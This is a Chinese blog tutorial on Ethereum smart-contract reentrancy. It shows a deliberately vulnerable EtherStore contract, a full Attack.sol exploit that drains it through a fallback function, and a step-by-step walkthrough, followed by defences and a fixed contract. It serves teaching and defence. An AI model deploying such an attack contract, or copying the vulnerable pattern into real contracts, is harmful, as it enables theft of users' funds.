如何防止以太坊智能合约攻击-源码分析 以太智能合约例子

如何防止以太坊智能合约攻击-源码分析  以太智能合约例子

本文通过编写一个有漏洞的合约,分析如何攻击、预防并修复漏洞。


以太坊智能合约的一个特点——可以调用和利用来自外部合约的代码。

合约通常要处理 ether,经常会转移 ether 到各种外部用户地址。这些操作需要合约提交外部调用。这些外部调用可能被攻击者劫持,从而强制合约执行进一步的代码(通过 fallback 函数),包括调用自己。

这种攻击被用于臭名昭著的DAO 攻击[3]。

了解漏洞

当合约把 ether 转移到一个未知地址时,可能会发生这种类型的攻击。攻击者可能在外部地址构建合约,在 fallback 函数中加入恶意代码。

因此,当一个合约向这个地址发送 ether 时,就会执行恶意代码。通常,恶意代码会在有漏洞的合约上执行一个函数,做一些开发者不希望的操作。

重入(reentrancy)这个词就来自外部恶意合约在有漏洞的合约调用函数,并且重新执行代码路径。

为了更清楚一点,我们看一个简单的有漏洞的合约EtherStore.sol,它是一个以太坊资金库,储户一个星期只能提取 1 ether:

contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
 }

-EtherStore.sol-

这个合约有两个 public 函数,depositFundswithdrawFunds

depositFunds函数只是简单的增加储户的余额。

withdrawFunds函数允许发送者指定要提取多少wei

这个函数只在请求的取款小于等于 1 ether 并且一个星期内没有取款的情况下才会成功。

漏洞在 17 行,在这里合约向储户发送请求的 ether。

假设攻击者创建了一个攻击合约Attack.sol

import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // intialize the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }

  function attackEtherStore() external payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
      msg.sender.transfer(this.balance);
  }

  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

-Attack.sol-

怎样利用漏洞?

首先,攻击者可以创建恶意合约(假设地址为0x0… 123),将EtherStore的合约地址作为唯一的构造函数参数。

这将把 public 变量etherStore初始化并指向被攻击合约。

然后攻击者将用大于等于 1 的一定数量的 ether(暂时假设为 1 ether)来调用attackEtherStore函数。

在这个例子中,我们还将假设许多其他用户已经在合约中存了 ether,比如,合约当前的余额是 10 ether。可能会出现下面的情况:

  1. Attack.sol15 行: 用 1 ether 的msg.value(和大量 gas)调用EtherStore合约的depositFunds函数。发送者(msg.sender)是恶意合约(0x0… 123),balances[0x0..123] = 1 ether
  2. Attack.sol17 行: 恶意合约调用EtherStore合约的withdrawFunds函数,参数为 1 ether。这会绕过所有要求(EtherStore合约的 12-16 行),因为之前没有发生过取款。
  3. EtherStore.sol17 行: 向恶意合约发回 1 ether。
  4. Attack.sol25 行: 向恶意合约的支付触发执行 fallback 函数。
  5. Attack.sol26 行: EtherStore合约的总余额为 10 ether,现在是 9 ether,所以这个 if 语句通过了。
  6. Attack.sol27 行: fallback 函数再次调用EtherStorewithdrawFunds函数,重新进入EtherStore合约。
  7. EtherStore.sol11 行: 第二次对withdrawFunds调用,攻击合约存储的余额仍然是 1 ether,因为第 18 行代码还没有执行。因此我们仍然有balances[0x0..123] = 1 etherlastWithdrawTime变量也是如此。再次,绕过了所有的请求。
  8. EtherStore.sol17 行:攻击合约再次提取 1 ether。
  9. 重复步骤 4–8,直到不满足EtherStore.balance > 1, 如Attack.sol合约第 26 行那样。
  10. Attack.sol26 行: 一旦EtherStore合约只有 1 ether(或者更少),这个 if 语句就会执行失败。然后,EtherStore合约的 18、19 行就会执行(对每次withdrawFunds函数的调用)。
  11. EtherStore.sol18、19 行: 设置余额与lastWithdrawTime 的映射,并且执行结束。

最后的结果是,除了 1 ether 不能提取,攻击者一笔交易从EtherStore合约提取了其他所有 ether。

如何避免漏洞

有很多常用技术可以帮助我们在合约中避免潜在的重入漏洞。

第一个就是在向外部合约发送 ether 时(尽可能)使用内置的transfer[4]函数。transfer 函数在外部调用时只发送 2300 gas,这不足以让目标地址/合约调用另一个合约(即,重入发送合约)。

第二种技术是确保所有修改状态变量的逻辑都发生在 ether 发出合约之前(或者任何外部调用之前)。在EtherStore的实例中,18、19 行应该放在 17 行之前。

在本地函数或者代码执行片段中,对未知地址的外部调用最好是最后一步操作。这叫做check-effect 交互模式[5]。

第三种技术是引入一个互斥——即,添加一个状态变量在代码执行期间锁定合约,组织重入调用。

EtherStore.sol中使用这些技术(实际并不需要把三种都用上,这里是为了演示),就是下面的防重入合约:

contract EtherStore {

    // initialize the mutex
    bool reEntrancyMutex = false;
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(!reEntrancyMutex);
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
        // set the reEntrancy mutex before the external call
        reEntrancyMutex = true;
        msg.sender.transfer(_weiToWithdraw);
        // release the mutex after the external call
        reEntrancyMutex = false;
    }
 }

-EtherStore.sol-

猜你喜欢

比特币提现会被银行查吗?

比特币提现会被银行查吗? 首先,根据《中华人民共和国反洗钱法》、《金融机构大额交易和可疑交易报告管理办法》、《金融机构报告涉嫌恐怖融资的可疑交易管理办法》等法律法规的相关规定,银行会对大额资金的流动做监控,主要是审查来源是否合法,是否涉嫌洗钱。

2022-05-21

比特币暴跌50%!30岁老公玩比特币输了好多钱

比特币暴跌50%!30岁老公玩比特币输了好多钱 过去的一周里,作为一个游曳在币圈边缘的键盘侠,见识了币圈度日如年的跌宕后,仍可以笑看潮起潮落。

2022-05-21

UST爆雷之后,USDT也要爆雷了?

这几天的行情,证明了良心哥的推测非常准确。 首先是5月10日分析luna背后是被人开了黑枪,并且持续看空luna。 次日消息实锤,luna再次跌了个99%。 昨天分析说,luna的死亡螺旋会带崩大盘。

2022-05-21

Luna币7天蒸发2000亿,但更怕的是熊市即将到来!

心哥昨天虽然不知道这里边的细节,但依然非常确定的告诉大家,这是一场狙击战,找的就是这个空档,打出来的子弹是要人命的。 另外排队枪毙这个场景,估计今天很多人也领教了。

2022-05-21

一天蒸发400亿人民币,Luna是如何被狙击的?

你们也都知道良心哥炒币是个渣渣,但良心哥的判断大体还是准确的。 可能这就是从业时间久了的盘感吧。 有人说luna的暴跌,ust抛锚,都他吗赖孙宇晨。 从5月5号孙宇晨宣布进军算法稳定币之后,大盘就崩了

2022-05-21

    上一篇

    区块链技术怎么学习,区块链技术介绍

    下一篇

    ens简介:ENS源码分析

评论